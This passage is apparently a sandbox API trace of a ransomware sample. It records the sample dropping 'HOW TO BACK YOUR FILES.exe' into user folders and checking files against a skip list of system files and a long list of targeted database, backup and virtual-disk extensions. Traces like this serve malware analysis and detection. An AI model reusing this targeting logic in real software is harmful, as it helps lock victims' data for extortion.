ftCreationTime.dwLowDateTime=0x307290f2, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x307290f2, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x307290f2, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Temporary Internet Files", cAlternateFileName="TEMPOR~1")) returned 0 [0103.482] FindClose (in: hFindFile=0x529bd0 | out: hFindFile=0x529bd0) returned 1 [0103.482] ReleaseMutex (hMutex=0xec) returned 1 [0103.482] CloseHandle (hObject=0xec) returned 1 [0103.483] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Documents and Settings\\Default\\Local Settings\\History" | out: lpString1="C:\\Documents and Settings\\Default\\Local Settings\\History") returned="C:\\Documents and Settings\\Default\\Local Settings\\History" [0103.483] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x502428 | out: hHeap=0x4f0000) returned 1 [0103.483] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52c7d0 | out: hHeap=0x4f0000) returned 1 [0103.483] lstrlenW (lpString="C:\\Documents and Settings\\Default\\Local Settings\\History") returned 56 [0103.483] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\27382A9690B0A68AB48DCF67A7F6321B") returned 0xec [0103.483] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0103.483] lstrcatW (in: lpString1="", lpString2="C:\\Documents and Settings\\Default\\Local Settings\\History" | out: lpString1="C:\\Documents and Settings\\Default\\Local Settings\\History") returned="C:\\Documents and Settings\\Default\\Local Settings\\History" [0103.483] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0103.483] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\Default\\Local Settings\\History\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\default\\local settings\\history\\how to back your files.exe"), bFailIfExists=1) returned 0 [0103.483] CreateFileW (lpFileName="C:\\Documents and Settings\\Default\\Local Settings\\History\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\default\\local settings\\history\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0103.484] GetLastError () returned 0x0 [0103.484] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0103.484] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x547540 [0103.484] ReadFile (in: hFile=0xf4, lpBuffer=0x547540, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x547540*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0103.484] CloseHandle (hObject=0xf4) returned 1 [0103.484] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x547540 | out: hHeap=0x4f0000) returned 1 [0103.485] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0103.485] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\Default\\Local Settings\\History\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xc7a33020, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc7a33020, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529bd0 [0103.485] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0103.485] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0103.485] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0103.485] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xc7a33020, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc7a33020, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0103.485] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0103.485] lstrcmpiW (lpString1="..", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0103.485] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0103.485] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0103.485] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x661a180, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x661a180, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe75c620, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x91, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0103.485] lstrcmpiW (lpString1="desktop.ini", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0103.485] lstrcmpiW (lpString1="desktop.ini", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0103.485] lstrcmpiW (lpString1="desktop.ini", lpString2=".") returned 1 [0103.485] lstrcmpiW (lpString1="desktop.ini", lpString2="..") returned 1 [0103.485] lstrcmpiW (lpString1="desktop.ini", lpString2="windows") returned -1 [0103.485] lstrcmpiW (lpString1="desktop.ini", lpString2="bootmgr") returned 1 [0103.485] lstrcmpiW (lpString1="desktop.ini", lpString2="temp") returned -1 [0103.485] lstrcmpiW (lpString1="desktop.ini", lpString2="pagefile.sys") returned -1 [0103.485] lstrcmpiW (lpString1="desktop.ini", lpString2="boot") returned 1 [0103.485] lstrcmpiW (lpString1="desktop.ini", lpString2="ids.txt") returned -1 [0103.485] lstrcmpiW (lpString1="desktop.ini", lpString2="ntuser.dat") returned -1 [0103.486] lstrcmpiW (lpString1="desktop.ini", lpString2="perflogs") returned -1 [0103.486] lstrcmpiW (lpString1="desktop.ini", lpString2="MSBuild") returned -1 [0103.486] lstrlenW (lpString="desktop.ini") returned 11 [0103.486] lstrcpyW (in: lpString1=0x241e8ba, lpString2="desktop.ini" | out: lpString1="desktop.ini") returned="desktop.ini" [0103.486] lstrlenW (lpString="desktop.ini") returned 11 [0103.486] lstrlenW (lpString="Athena865") returned 9 [0103.486] lstrcmpiW (lpString1="sktop.ini", lpString2="Athena865") returned 1 [0103.486] lstrlenW (lpString=".dll") returned 4 [0103.486] lstrcmpiW (lpString1="desktop.ini", lpString2=".dll") returned 1 [0103.486] lstrlenW (lpString=".lnk") returned 4 [0103.486] lstrcmpiW (lpString1="desktop.ini", lpString2=".lnk") returned 1 [0103.486] lstrlenW (lpString=".ini") returned 4 [0103.486] lstrcmpiW (lpString1="desktop.ini", lpString2=".ini") returned 1 [0103.486] lstrlenW (lpString=".sys") returned 4 [0103.486] lstrcmpiW (lpString1="desktop.ini", lpString2=".sys") returned 1 [0103.486] lstrlenW (lpString="desktop.ini") returned 11 [0103.486] lstrlenW (lpString="bak") returned 3 [0103.486] lstrcmpiW (lpString1="ini", lpString2="bak") returned 1 [0103.486] lstrlenW (lpString="ba_") returned 3 [0103.486] lstrcmpiW (lpString1="ini", lpString2="ba_") returned 1 [0103.486] lstrlenW (lpString="dbb") returned 3 [0103.486] lstrcmpiW (lpString1="ini", lpString2="dbb") returned 1 [0103.486] lstrlenW (lpString="vmdk") returned 4 [0103.486] lstrcmpiW (lpString1=".ini", lpString2="vmdk") returned -1 [0103.486] lstrlenW (lpString="rar") returned 3 [0103.486] lstrcmpiW (lpString1="ini", lpString2="rar") returned -1 [0103.486] lstrlenW (lpString="zip") returned 3 [0103.486] lstrcmpiW (lpString1="ini", lpString2="zip") returned -1 [0103.486] lstrlenW (lpString="tgz") returned 3 [0103.486] lstrcmpiW (lpString1="ini", lpString2="tgz") returned -1 [0103.486] lstrlenW (lpString="vbox") returned 4 [0103.486] lstrcmpiW (lpString1=".ini", lpString2="vbox") returned -1 [0103.486] lstrlenW (lpString="vdi") returned 3 [0103.487] lstrcmpiW (lpString1="ini", lpString2="vdi") returned -1 [0103.487] lstrlenW (lpString="vhd") returned 3 [0103.487] lstrcmpiW (lpString1="ini", lpString2="vhd") returned -1 [0103.487] lstrlenW (lpString="vhdx") returned 4 [0103.487] lstrcmpiW (lpString1=".ini", lpString2="vhdx") returned -1 [0103.487] lstrlenW (lpString="avhd") returned 4 [0103.487] lstrcmpiW (lpString1=".ini", lpString2="avhd") returned -1 [0103.487] lstrlenW (lpString="db") returned 2 [0103.487] lstrcmpiW (lpString1="ni", lpString2="db") returned 1 [0103.487] lstrlenW (lpString="db2") returned 3 [0103.487] lstrcmpiW (lpString1="ini", lpString2="db2") returned 1 [0103.487] lstrlenW (lpString="db3") returned 3 [0103.487] lstrcmpiW (lpString1="ini", lpString2="db3") returned 1 [0103.487] lstrlenW (lpString="dbf") returned 3 [0103.487] lstrcmpiW (lpString1="ini", lpString2="dbf") returned 1 [0103.487] lstrlenW (lpString="mdf") returned 3 [0103.487] lstrcmpiW (lpString1="ini", lpString2="mdf") returned -1 [0103.487] lstrlenW (lpString="mdb") returned 3 [0103.487] lstrcmpiW (lpString1="ini", lpString2="mdb") returned -1 [0103.487] lstrlenW (lpString="sql") returned 3 [0103.487] lstrcmpiW (lpString1="ini", lpString2="sql") returned -1 [0103.487] lstrlenW (lpString="sqlite") returned 6 [0103.487] lstrcmpiW (lpString1="op.ini", lpString2="sqlite") returned -1 [0103.487] lstrlenW (lpString="sqlite3") returned 7 [0103.487] lstrcmpiW (lpString1="top.ini", lpString2="sqlite3") returned 1 [0103.487] lstrlenW (lpString="sqlitedb") returned 8 [0103.487] lstrcmpiW (lpString1="ktop.ini", lpString2="sqlitedb") returned -1 [0103.487] lstrlenW (lpString="xml") returned 3 [0103.487] lstrcmpiW (lpString1="ini", lpString2="xml") returned -1 [0103.487] lstrlenW (lpString="$er") returned 3 [0103.487] lstrcmpiW (lpString1="ini", lpString2="$er") returned 1 [0103.487] lstrlenW (lpString="4dd") returned 3 [0103.487] lstrcmpiW (lpString1="ini", lpString2="4dd") returned 1 [0103.488] lstrlenW (lpString="4dl") returned 3 [0103.488] lstrcmpiW (lpString1="ini", lpString2="4dl") returned 1 [0103.488] lstrlenW (lpString="^^^") returned 3 [0103.488] lstrcmpiW (lpString1="ini", lpString2="^^^") returned 1 [0103.488] lstrlenW (lpString="abs") returned 3 [0103.488] lstrcmpiW (lpString1="ini", lpString2="abs") returned 1 [0103.488] lstrlenW (lpString="abx") returned 3 [0103.488] lstrcmpiW (lpString1="ini", lpString2="abx") returned 1 [0103.488] lstrlenW (lpString="accdb") returned 5 [0103.488] lstrcmpiW (lpString1="p.ini", lpString2="accdb") returned 1 [0103.488] lstrlenW (lpString="accdc") returned 5 [0103.488] lstrcmpiW (lpString1="p.ini", lpString2="accdc") returned 1 [0103.488] lstrlenW (lpString="accde") returned 5 [0103.488] lstrcmpiW (lpString1="p.ini", lpString2="accde") returned 1 [0103.488] lstrlenW (lpString="accdr") returned 5 [0103.488] lstrcmpiW (lpString1="p.ini", lpString2="accdr") returned 1 [0103.488] lstrlenW (lpString="accdt") returned 5 [0103.488] lstrcmpiW (lpString1="p.ini", lpString2="accdt") returned 1 [0103.488] lstrlenW (lpString="accdw") returned 5 [0103.488] lstrcmpiW (lpString1="p.ini", lpString2="accdw") returned 1 [0103.488] lstrlenW (lpString="accft") returned 5 [0103.488] lstrcmpiW (lpString1="p.ini", lpString2="accft") returned 1 [0103.488] lstrlenW (lpString="adb") returned 3 [0103.488] lstrcmpiW (lpString1="ini", lpString2="adb") returned 1 [0103.488] lstrlenW (lpString="adb") returned 3 [0103.488] lstrcmpiW (lpString1="ini", lpString2="adb") returned 1 [0103.488] lstrlenW (lpString="ade") returned 3 [0103.488] lstrcmpiW (lpString1="ini", lpString2="ade") returned 1 [0103.488] lstrlenW (lpString="adf") returned 3 [0103.488] lstrcmpiW (lpString1="ini", lpString2="adf") returned 1 [0103.488] lstrlenW (lpString="adn") returned 3 [0103.488] lstrcmpiW (lpString1="ini", lpString2="adn") returned 1 [0103.488] lstrlenW (lpString="adp") returned 3 [0103.488] lstrcmpiW (lpString1="ini", lpString2="adp") returned 1 [0103.489] lstrlenW (lpString="alf") returned 3 [0103.489] lstrcmpiW (lpString1="ini", lpString2="alf") returned 1 [0103.489] lstrlenW (lpString="ask") returned 3 [0103.489] lstrcmpiW (lpString1="ini", lpString2="ask") returned 1 [0103.489] lstrlenW (lpString="btr") returned 3 [0103.489] lstrcmpiW (lpString1="ini", lpString2="btr") returned 1 [0103.489] lstrlenW (lpString="cat") returned 3 [0103.489] lstrcmpiW (lpString1="ini", lpString2="cat") returned 1 [0103.489] lstrlenW (lpString="cdb") returned 3 [0103.489] lstrcmpiW (lpString1="ini", lpString2="cdb") returned 1 [0103.489] lstrlenW (lpString="ckp") returned 3 [0103.489] lstrcmpiW (lpString1="ini", lpString2="ckp") returned 1 [0103.489] lstrlenW (lpString="cma") returned 3 [0103.489] lstrcmpiW (lpString1="ini", lpString2="cma") returned 1 [0103.489] lstrlenW (lpString="cpd") returned 3 [0103.489] lstrcmpiW (lpString1="ini", lpString2="cpd") returned 1 [0103.489] lstrlenW (lpString="dacpac") returned 6 [0103.489] lstrcmpiW (lpString1="op.ini", lpString2="dacpac") returned 1 [0103.489] lstrlenW (lpString="dad") returned 3 [0103.489] lstrcmpiW (lpString1="ini", lpString2="dad") returned 1 [0103.489] lstrlenW (lpString="dadiagrams") returned 10 [0103.489] lstrcmpiW (lpString1="esktop.ini", lpString2="dadiagrams") returned 1 [0103.489] lstrlenW (lpString="daschema") returned 8 [0103.489] lstrcmpiW (lpString1="ktop.ini", lpString2="daschema") returned 1 [0103.489] lstrlenW (lpString="db-journal") returned 10 [0103.489] lstrcmpiW (lpString1="esktop.ini", lpString2="db-journal") returned 1 [0103.489] lstrlenW (lpString="db-shm") returned 6 [0103.489] lstrcmpiW (lpString1="op.ini", lpString2="db-shm") returned 1 [0103.489] lstrlenW (lpString="db-wal") returned 6 [0103.489] lstrcmpiW (lpString1="op.ini", lpString2="db-wal") returned 1 [0103.489] lstrlenW (lpString="dbc") returned 3 [0103.489] lstrcmpiW (lpString1="ini", lpString2="dbc") returned 1 [0103.489] lstrlenW (lpString="dbs") returned 3 [0103.490] lstrcmpiW (lpString1="ini", lpString2="dbs") returned 1 [0103.490] lstrlenW (lpString="dbt") returned 3 [0103.490] lstrcmpiW (lpString1="ini", lpString2="dbt") returned 1 [0103.490] lstrlenW (lpString="dbv") returned 3 [0103.490] lstrcmpiW (lpString1="ini", lpString2="dbv") returned 1 [0103.490] lstrlenW (lpString="dbx") returned 3 [0103.490] lstrcmpiW (lpString1="ini", lpString2="dbx") returned 1 [0103.490] lstrlenW (lpString="dcb") returned 3 [0103.490] lstrcmpiW (lpString1="ini", lpString2="dcb") returned 1 [0103.490] lstrlenW (lpString="dct") returned 3 [0103.490] lstrcmpiW (lpString1="ini", lpString2="dct") returned 1 [0103.490] lstrlenW (lpString="dcx") returned 3 [0103.490] lstrcmpiW (lpString1="ini", lpString2="dcx") returned 1 [0103.490] lstrlenW (lpString="ddl") returned 3 [0103.490] lstrcmpiW (lpString1="ini", lpString2="ddl") returned 1 [0103.490] lstrlenW (lpString="dlis") returned 4 [0103.490] lstrcmpiW (lpString1=".ini", lpString2="dlis") returned -1 [0103.490] lstrlenW (lpString="dp1") returned 3 [0103.490] lstrcmpiW (lpString1="ini", lpString2="dp1") returned 1 [0103.490] lstrlenW (lpString="dqy") returned 3 [0103.490] lstrcmpiW (lpString1="ini", lpString2="dqy") returned 1 [0103.490] lstrlenW (lpString="dsk") returned 3 [0103.490] lstrcmpiW (lpString1="ini", lpString2="dsk") returned 1 [0103.490] lstrlenW (lpString="dsn") returned 3 [0103.490] lstrcmpiW (lpString1="ini", lpString2="dsn") returned 1 [0103.490] lstrlenW (lpString="dtsx") returned 4 [0103.490] lstrcmpiW (lpString1=".ini", lpString2="dtsx") returned -1 [0103.490] lstrlenW (lpString="dxl") returned 3 [0103.490] lstrcmpiW (lpString1="ini", lpString2="dxl") returned 1 [0103.490] lstrlenW (lpString="eco") returned 3 [0103.490] lstrcmpiW (lpString1="ini", lpString2="eco") returned 1 [0103.490] lstrlenW (lpString="ecx") returned 3 [0103.490] lstrcmpiW (lpString1="ini", lpString2="ecx") returned 1 [0103.491] lstrlenW (lpString="edb") returned 3 [0103.491] lstrcmpiW (lpString1="ini", lpString2="edb") returned 1 [0103.491] lstrlenW (lpString="epim") returned 4 [0103.491] lstrcmpiW (lpString1=".ini", lpString2="epim") returned -1 [0103.491] lstrlenW (lpString="fcd") returned 3 [0103.491] lstrcmpiW (lpString1="ini", lpString2="fcd") returned 1 [0103.491] lstrlenW (lpString="fdb") returned 3 [0103.491] lstrcmpiW (lpString1="ini", lpString2="fdb") returned 1 [0103.491] lstrlenW (lpString="fic") returned 3 [0103.491] lstrcmpiW (lpString1="ini", lpString2="fic") returned 1 [0103.491] lstrlenW (lpString="flexolibrary") returned 12 [0103.491] lstrlenW (lpString="fm5") returned 3 [0103.491] lstrcmpiW (lpString1="ini", lpString2="fm5") returned 1 [0103.491] lstrlenW (lpString="fmp") returned 3 [0103.491] lstrcmpiW (lpString1="ini", lpString2="fmp") returned 1 [0103.491] lstrlenW (lpString="fmp12") returned 5 [0103.491] lstrcmpiW (lpString1="p.ini", lpString2="fmp12") returned 1 [0103.491] lstrlenW (lpString="fmpsl") returned 5 [0103.491] lstrcmpiW (lpString1="p.ini", lpString2="fmpsl") returned 1 [0103.491] lstrlenW (lpString="fol") returned 3 [0103.491] lstrcmpiW (lpString1="ini", lpString2="fol") returned 1 [0103.491] lstrlenW (lpString="fp3") returned 3 [0103.491] lstrcmpiW (lpString1="ini", lpString2="fp3") returned 1 [0103.491] lstrlenW (lpString="fp4") returned 3 [0103.491] lstrcmpiW (lpString1="ini", lpString2="fp4") returned 1 [0103.491] lstrlenW (lpString="fp5") returned 3 [0103.491] lstrcmpiW (lpString1="ini", lpString2="fp5") returned 1 [0103.491] lstrlenW (lpString="fp7") returned 3 [0103.491] lstrcmpiW (lpString1="ini", lpString2="fp7") returned 1 [0103.491] lstrlenW (lpString="fpt") returned 3 [0103.491] lstrcmpiW (lpString1="ini", lpString2="fpt") returned 1 [0103.491] lstrlenW (lpString="frm") returned 3 [0103.491] lstrcmpiW (lpString1="ini", lpString2="frm") returned 1 [0103.491] lstrlenW (lpString="gdb") returned 3 [0103.492] lstrcmpiW (lpString1="ini", lpString2="gdb") returned 1 [0103.492] lstrlenW (lpString="gdb") returned 3 [0103.492] lstrcmpiW (lpString1="ini", lpString2="gdb") returned 1 [0103.492] lstrlenW (lpString="grdb") returned 4 [0103.492] lstrcmpiW (lpString1=".ini", lpString2="grdb") returned -1 [0103.492] lstrlenW (lpString="gwi") returned 3 [0103.492] lstrcmpiW (lpString1="ini", lpString2="gwi") returned 1 [0103.492] lstrlenW (lpString="hdb") returned 3 [0103.492] lstrcmpiW (lpString1="ini", lpString2="hdb") returned 1 [0103.492] lstrlenW (lpString="his") returned 3 [0103.492] lstrcmpiW (lpString1="ini", lpString2="his") returned 1 [0103.492] lstrlenW (lpString="ib") returned 2 [0103.492] lstrcmpiW (lpString1="ni", lpString2="ib") returned 1 [0103.492] lstrlenW (lpString="idb") returned 3 [0103.492] lstrcmpiW (lpString1="ini", lpString2="idb") returned 1 [0103.492] lstrlenW (lpString="ihx") returned 3 [0103.492] lstrcmpiW (lpString1="ini", lpString2="ihx") returned 1 [0103.492] lstrlenW (lpString="itdb") returned 4 [0103.492] lstrcmpiW (lpString1=".ini", lpString2="itdb") returned -1 [0103.492] lstrlenW (lpString="itw") returned 3 [0103.492] lstrcmpiW (lpString1="ini", lpString2="itw") returned -1 [0103.492] lstrlenW (lpString="jet") returned 3 [0103.492] lstrcmpiW (lpString1="ini", lpString2="jet") returned -1 [0103.492] lstrlenW (lpString="jtx") returned 3 [0103.493] lstrcmpiW (lpString1="ini", lpString2="jtx") returned -1 [0103.493] lstrlenW (lpString="kdb") returned 3 [0103.493] lstrcmpiW (lpString1="ini", lpString2="kdb") returned -1 [0103.493] lstrlenW (lpString="kexi") returned 4 [0103.493] lstrcmpiW (lpString1=".ini", lpString2="kexi") returned -1 [0103.493] lstrlenW (lpString="kexic") returned 5 [0103.493] lstrcmpiW (lpString1="p.ini", lpString2="kexic") returned 1 [0103.493] lstrlenW (lpString="kexis") returned 5 [0103.493] lstrcmpiW (lpString1="p.ini", lpString2="kexis") returned 1 [0103.493] lstrlenW (lpString="lgc") returned 3 [0103.493] lstrcmpiW (lpString1="ini", lpString2="lgc") returned -1 [0103.493] lstrlenW (lpString="lwx") returned 3 [0103.493] lstrcmpiW (lpString1="ini", lpString2="lwx") returned -1 [0103.493] lstrlenW (lpString="maf") returned 3 [0103.493] lstrcmpiW (lpString1="ini", lpString2="maf") returned -1 [0103.493] lstrlenW (lpString="maq") returned 3 [0103.493] lstrcmpiW (lpString1="ini", lpString2="maq") returned -1 [0103.493] lstrlenW (lpString="mar") returned 3 [0103.493] lstrcmpiW (lpString1="ini", lpString2="mar") returned -1 [0103.493] lstrlenW (lpString="marshal") returned 7 [0103.493] lstrcmpiW (lpString1="top.ini", lpString2="marshal") returned 1 [0103.493] lstrlenW (lpString="mas") returned 3 [0103.493] lstrcmpiW (lpString1="ini", lpString2="mas") returned -1 [0103.493] lstrlenW (lpString="mav") returned 3 [0103.493] lstrcmpiW (lpString1="ini", lpString2="mav") returned -1 [0103.493] lstrlenW (lpString="maw") returned 3 [0103.493] lstrcmpiW (lpString1="ini", lpString2="maw") returned -1 [0103.493] lstrlenW (lpString="mdbhtml") returned 7 [0103.493] lstrcmpiW (lpString1="top.ini", lpString2="mdbhtml") returned 1 [0103.493] lstrlenW (lpString="mdn") returned 3 [0103.493] lstrcmpiW (lpString1="ini", lpString2="mdn") returned -1 [0103.494] lstrlenW (lpString="mdt") returned 3 [0103.494] lstrcmpiW (lpString1="ini", lpString2="mdt") returned -1 [0103.494] lstrlenW (lpString="mfd") returned 3 [0103.494] lstrcmpiW (lpString1="ini", lpString2="mfd") returned -1 [0103.494] lstrlenW (lpString="mpd") returned 3 [0103.494] lstrcmpiW (lpString1="ini", lpString2="mpd") returned -1 [0103.494] lstrlenW (lpString="mrg") returned 3 [0103.494] lstrcmpiW (lpString1="ini", lpString2="mrg") returned -1 [0103.494] lstrlenW (lpString="mud") returned 3 [0103.494] lstrcmpiW (lpString1="ini", lpString2="mud") returned -1 [0103.494] lstrlenW (lpString="mwb") returned 3 [0103.494] lstrcmpiW (lpString1="ini", lpString2="mwb") returned -1 [0103.494] lstrlenW (lpString="myd") returned 3 [0103.494] lstrcmpiW (lpString1="ini", lpString2="myd") returned -1 [0103.494] lstrlenW (lpString="ndf") returned 3 [0103.494] lstrcmpiW (lpString1="ini", lpString2="ndf") returned -1 [0103.494] lstrlenW (lpString="nnt") returned 3 [0103.494] lstrcmpiW (lpString1="ini", lpString2="nnt") returned -1 [0103.494] lstrlenW (lpString="nrmlib") returned 6 [0103.494] lstrcmpiW (lpString1="op.ini", lpString2="nrmlib") returned 1 [0103.494] lstrlenW (lpString="ns2") returned 3 [0103.494] lstrcmpiW (lpString1="ini", lpString2="ns2") returned -1 [0103.494] lstrlenW (lpString="ns3") returned 3 [0103.494] lstrcmpiW (lpString1="ini", lpString2="ns3") returned -1 [0103.494] lstrlenW (lpString="ns4") returned 3 [0103.494] lstrcmpiW (lpString1="ini", lpString2="ns4") returned -1 [0103.494] lstrlenW (lpString="nsf") returned 3 [0103.494] lstrcmpiW (lpString1="ini", lpString2="nsf") returned -1 [0103.494] lstrlenW (lpString="nv") returned 2 [0103.494] lstrcmpiW (lpString1="ni", lpString2="nv") returned -1 [0103.494] lstrlenW (lpString="nv2") returned 3 [0103.494] lstrcmpiW (lpString1="ini", lpString2="nv2") returned -1 [0103.494] lstrlenW (lpString="nwdb") returned 4 [0103.495] lstrcmpiW (lpString1=".ini", lpString2="nwdb") returned -1 [0103.495] lstrlenW (lpString="nyf") returned 3 [0103.495] lstrcmpiW (lpString1="ini", lpString2="nyf") returned -1 [0103.495] lstrlenW (lpString="odb") returned 3 [0103.495] lstrcmpiW (lpString1="ini", lpString2="odb") returned -1 [0103.495] lstrlenW (lpString="odb") returned 3 [0103.495] lstrcmpiW (lpString1="ini", lpString2="odb") returned -1 [0103.495] lstrlenW (lpString="oqy") returned 3 [0103.495] lstrcmpiW (lpString1="ini", lpString2="oqy") returned -1 [0103.495] lstrlenW (lpString="ora") returned 3 [0103.495] lstrcmpiW (lpString1="ini", lpString2="ora") returned -1 [0103.495] lstrlenW (lpString="orx") returned 3 [0103.495] lstrcmpiW (lpString1="ini", lpString2="orx") returned -1 [0103.495] lstrlenW (lpString="owc") returned 3 [0103.495] lstrcmpiW (lpString1="ini", lpString2="owc") returned -1 [0103.495] lstrlenW (lpString="p96") returned 3 [0103.495] lstrcmpiW (lpString1="ini", lpString2="p96") returned -1 [0103.495] lstrlenW (lpString="p97") returned 3 [0103.495] lstrcmpiW (lpString1="ini", lpString2="p97") returned -1 [0103.495] lstrlenW (lpString="pan") returned 3 [0103.495] lstrcmpiW (lpString1="ini", lpString2="pan") returned -1 [0103.495] lstrlenW (lpString="pdb") returned 3 [0103.495] lstrcmpiW (lpString1="ini", lpString2="pdb") returned -1 [0103.495] lstrlenW (lpString="pdm") returned 3 [0103.495] lstrcmpiW (lpString1="ini", lpString2="pdm") returned -1 [0103.495] lstrlenW (lpString="pnz") returned 3 [0103.495] lstrcmpiW (lpString1="ini", lpString2="pnz") returned -1 [0103.495] lstrlenW (lpString="qry") returned 3 [0103.495] lstrcmpiW (lpString1="ini", lpString2="qry") returned -1 [0103.495] lstrlenW (lpString="qvd") returned 3 [0103.495] lstrcmpiW (lpString1="ini", lpString2="qvd") returned -1 [0103.495] lstrlenW (lpString="rbf") returned 3 [0103.495] lstrcmpiW (lpString1="ini", lpString2="rbf") returned -1 [0103.495] lstrlenW (lpString="rctd") returned 4 [0103.496] lstrcmpiW (lpString1=".ini", lpString2="rctd") returned -1 [0103.496] lstrlenW (lpString="rod") returned 3 [0103.496] lstrcmpiW (lpString1="ini", lpString2="rod") returned -1 [0103.496] lstrlenW (lpString="rodx") returned 4 [0103.496] lstrcmpiW (lpString1=".ini", lpString2="rodx") returned -1 [0103.496] lstrlenW (lpString="rpd") returned 3 [0103.496] lstrcmpiW (lpString1="ini", lpString2="rpd") returned -1 [0103.496] lstrlenW (lpString="rsd") returned 3 [0103.496] lstrcmpiW (lpString1="ini", lpString2="rsd") returned -1 [0103.496] lstrlenW (lpString="sas7bdat") returned 8 [0103.496] lstrcmpiW (lpString1="ktop.ini", lpString2="sas7bdat") returned -1 [0103.496] lstrlenW (lpString="sbf") returned 3 [0103.496] lstrcmpiW (lpString1="ini", lpString2="sbf") returned -1 [0103.496] lstrlenW (lpString="scx") returned 3 [0103.496] lstrcmpiW (lpString1="ini", lpString2="scx") returned -1 [0103.496] lstrlenW (lpString="sdb") returned 3 [0103.496] lstrcmpiW (lpString1="ini", lpString2="sdb") returned -1 [0103.496] lstrlenW (lpString="sdc") returned 3 [0103.496] lstrcmpiW (lpString1="ini", lpString2="sdc") returned -1 [0103.496] lstrlenW (lpString="sdf") returned 3 [0103.496] lstrcmpiW (lpString1="ini", lpString2="sdf") returned -1 [0103.496] lstrlenW (lpString="sis") returned 3 [0103.496] lstrcmpiW (lpString1="ini", lpString2="sis") returned -1 [0103.496] lstrlenW (lpString="spq") returned 3 [0103.496] lstrcmpiW (lpString1="ini", lpString2="spq") returned -1 [0103.496] lstrlenW (lpString="te") returned 2 [0103.496] lstrcmpiW (lpString1="ni", lpString2="te") returned -1 [0103.496] lstrlenW (lpString="teacher") returned 7 [0103.496] lstrcmpiW (lpString1="top.ini", lpString2="teacher") returned 1 [0103.496] lstrlenW (lpString="tmd") returned 3 [0103.496] lstrcmpiW (lpString1="ini", lpString2="tmd") returned -1 [0103.496] lstrlenW (lpString="tps") returned 3 [0103.497] lstrcmpiW (lpString1="ini", lpString2="tps") returned -1 [0103.497] lstrlenW (lpString="trc") returned 3 [0103.497] lstrcmpiW (lpString1="ini", lpString2="trc") returned -1 [0103.497] lstrlenW (lpString="trc") returned 3 [0103.497] lstrcmpiW (lpString1="ini", lpString2="trc") returned -1 [0103.497] lstrlenW (lpString="trm") returned 3 [0103.497] lstrcmpiW (lpString1="ini", lpString2="trm") returned -1 [0103.497] 